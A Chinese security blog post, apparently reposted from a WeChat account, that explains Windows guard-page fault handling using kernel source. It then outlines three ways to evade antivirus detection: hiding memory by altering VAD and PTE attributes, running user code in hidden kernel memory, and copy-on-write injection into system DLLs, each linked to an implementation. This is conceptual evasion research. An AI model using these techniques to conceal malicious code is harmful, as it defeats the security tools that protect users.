https://github.com/mic101/windows/blob/master/WRK-v1.2/base/ntos/mm/pagfault.c#L4806

取VAD里面的值
ProtectionCode就是这样来的

如果有设置了MM_GUARD_PAGE,则会返回STATUS_GUARD_PAGE_VIOLATION

 if (MI_IS_GUARD (Protection)) {

        //
        // If this thread is attached to a different process,
        // return an access violation rather than a guard
        // page exception.  This prevents problems with unwanted
        // stack expansion and unexpected guard page behavior
        // from debuggers.
        //

        if (KeIsAttachedProcess ()) {
            return STATUS_ACCESS_VIOLATION;
        }

        //
        // If this is a user mode SLIST fault then don't remove the guard bit.
        //

        if (KeInvalidAccessAllowed (TrapInformation)) {
            return STATUS_ACCESS_VIOLATION;
        }

        //
        // Check to see if this is a transition PTE. If so, the
        // PFN database original contents field needs to be updated.
        //

        if ((PteContents.u.Soft.Transition == 1) &&
            (PteContents.u.Soft.Prototype == 0)) {

            //
            // Acquire the PFN lock and check to see if the
            // PTE is still in the transition state. If so,
            // update the original PTE in the PFN database.
            //

            SATISFY_OVERZEALOUS_COMPILER (OldIrql = PASSIVE_LEVEL);

            if (CallerHoldsPfnLock == FALSE) {
                LOCK_PFN (OldIrql);
            }

            PteContents = *PointerPte;
            if ((PteContents.u.Soft.Transition == 1) &&
                (PteContents.u.Soft.Prototype == 0)) {

                //
                // Still in transition, update the PFN database.
                //

                Pfn1 = MI_PFN_ELEMENT (PteContents.u.Trans.PageFrameNumber);

                //
                // Note that forked processes using guard pages only take the
                // guard page fault when the first thread in either process
                // access the address.  This seems to be the best behavior we
                // can provide users of this API as we must allow the first
                // thread to make forward progress and the guard attribute is
                // stored in the shared fork prototype PTE.
                //

                if (PteContents.u.Soft.Protection == MM_NOACCESS) {
                    ASSERT ((Pfn1->u3.e1.PrototypePte == 1) &&
                            (MiLocateCloneAddress (PsGetCurrentProcess (), Pfn1->PteAddress) != NULL));
                    if (CallerHoldsPfnLock == FALSE) {
                        UNLOCK_PFN (OldIrql);
                    }
                    return STATUS_ACCESS_VIOLATION;
                }

                ASSERT ((Pfn1->u3.e1.PrototypePte == 0) ||
                        (MiLocateCloneAddress (PsGetCurrentProcess (), Pfn1->PteAddress) != NULL));
                Pfn1->OriginalPte.u.Soft.Protection =
                                      Protection & ~MM_GUARD_PAGE;
            }
            if (CallerHoldsPfnLock == FALSE) {
                UNLOCK_PFN (OldIrql);
            }
        }

        PointerPte->u.Soft.Protection = Protection & ~MM_GUARD_PAGE;

        return STATUS_GUARD_PAGE_VIOLATION;
    }

之后就是走VEH触发异常,然后正常访问。
总结

  1. 把页面移除工作区
  2. PF后检查页面是否是page_guard
  3. 如果是 去掉page_guard属性并且移回来/触发PG异常
  4. 用户正常访问页面,但是VEH收到消息

思考1: 内存隐藏

我们现在知道了安全软件通过调用API枚举内存中的VAD树然后读取对应的内存信息,从而实现扫内存的目的.那么我们能不能通过修改VAD树,从而实现内存隐藏呢?
答案是可以的,但是在win7后,VAD断链是不可能的了,因为VAD断链会导致PATHGUARD异常,从而导致系统崩溃.但是我们可以通过修改VAD树的属性,从而实现内存隐藏.
其原理是,VAD只是”表面”的,真正决定代码是否可执行的是CPU的PTE.只要PTE的NX不是1,就不会抛出异常,因此我们可以通过修改PTE的NX,然后把VAD的属性设置为PAGE_NOACCESS,从而实现内存隐藏.(这样在系统和其他程序看,我们的shellcode是”NO_ACCESS”属性,但是实际我们是可以执行代码)

具体实现:
https://github.com/SDXT/MMInject

思考2: “超空间”执行

windows中控制代码是否是用户代码靠的是PTE.user这个字段,但是windows的大部分API内核实现中,用的是硬编码地址,如:

__int64 __usercall MiReadWriteVirtualMemory@<rax>(ULONG_PTR BugCheckParameter1@<rcx>, unsigned __int64 a2@<rdx>, unsigned __int64 a3@<r8>, __int64 a4@<r9>, __int64 a5, int a6)
{
  ...
    if ( v10 < a3 || v9 > 0x7FFFFFFEFFFFi64 || v10 > 0x7FFFFFFEFFFFi64 )
      return 0xC0000005i64;
  ...
}
__int64 __fastcall MmQueryVirtualMemory(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned __int64 a4, unsigned __int64 a5, unsigned __int64 *a6)
{
  ...
  if ( v12 > 0x7FFFFFFEFFFFi64 )
    return 0xC000000Di64;
  ...
}

因此如果你分配了一个内核内存,但是PTE.user = 1,那么你就可以在内核内存执行R3的代码,而且这个代码是在超级机密页面, 对任何Windows API 不可见.
具体实现:
https://github.com/can1357/ThePerfectInjector

思考3: 奶牛注入

COW(Copy-On-Write)是一种内存管理机制,通常用于实现资源的共享和节约内存开销。COW机制在操作系统中广泛使用,在UNIX / Linux、Windows等操作系统中都有应用。

其基本思想是,在进行复制(copy)或写入(write)操作时,不直接复制或写入原始数据,而是只要在需要时创建一个新的副本来存放数据的修改,并使原始数据保持不变。这样,就能够以更加节省空间并且更加快速的方式进行大量的读取操作和小量的写入操作。

例如,在进程/线程之间共享某些内存区域时,可以利用COW机制实现内存空间初始的共享访问,当进程A需要修改其中的数据时,会触发页面错误并被交给操作系统处理,此时,操作系统会为进程A分配一份独立的拷贝,同时解除进程B对该内存区域的共享访问权限,以确保两个进程之间的数据互相独立。

windows中,大部分常见的系统DLL是COW的,比如Ntdll.dll、kernel32.dll,也就是说,修改这些地址的对应的物理页后,你的修改将会所有进程都全局生效.

具体实现:
https://github.com/huoji120/CowInjecter

结论:

学免杀需要学的知识太多了,还不如送外卖直接.

感谢你的收看,有什么问题留言欢迎讨论.

往期精品推荐:

国庆专题: 深度了解”核晶“的工作原理并且手动实现一个自己的"核晶"

2024年国内最新黑产样本分析

【漏洞分析】从驱动直接读写物理内存漏洞 到内存加载驱动分析

非常优雅的Hook C++类成员函数

初探活动目录对象审计

详解"ED滑铁卢?无驱动技术让你轻松突破EDR" 背后的技术原理与缓解措施

通过GPT+词向量快速构造个人知识库

漫步windows的SubProcessTag机制以及解释为什么小黑的ETW EDR绕过会起作用

原文始发于微信公众号(冲鸭安全):[900粉丝专题]深度了解VirtualAlloc免杀背后的技术

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月11日13:50:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   深度了解VirtualAlloc免杀背后的技术https://cn-sec.com/archives/3253234.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息